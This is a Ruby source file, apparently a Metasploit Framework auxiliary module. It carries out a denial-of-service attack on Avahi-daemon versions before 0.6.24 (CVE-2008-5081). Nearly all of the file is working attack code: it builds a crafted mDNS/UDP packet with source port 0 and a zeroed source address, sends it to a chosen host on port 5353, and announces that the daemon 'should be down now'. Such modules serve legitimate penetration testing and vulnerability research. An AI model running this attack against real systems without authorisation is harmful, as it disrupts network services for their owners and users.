69 lines
1.4 KiB
Ruby
69 lines
1.4 KiB
Ruby
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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require 'scruby'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Ip
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include Msf::Auxiliary::Dos
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def initialize
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super(
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'Name' => 'Avahi < 0.6.24 Source Port 0 DoS',
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'Description' => %q{
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Avahi-daemon versions prior to 0.6.24 can be DoS'd
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with an mDNS packet with a source port of 0
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},
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'Author' => 'Kris Katterjohn <katterjohn@gmail.com>',
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' => [ [ 'CVE', '2008-5081' ] ],
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'DisclosureDate' => 'Nov 14 2008')
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register_options([
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OptInt.new('RPORT', [true, 'The destination port', 5353])
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])
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end
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def run
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print_status("Sending to #{rhost}")
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connect_ip
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pkt = (
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Scruby::IP.new(
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:src => "0.0.0.0",
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:dst => "#{rhost}",
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:proto => 17,
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:flags => 2,
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:len => 28,
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:ttl => 128,
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:id => 0xbeef,
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:chksum => 0
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) / Scruby::UDP.new(
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:sport => 0,
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:dport => datastore['RPORT'],
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:chksum => 0,
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:len => 8
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)
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).to_net
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ip_write(pkt)
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disconnect_ip
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print_status("Avahi should be down now")
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end
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end
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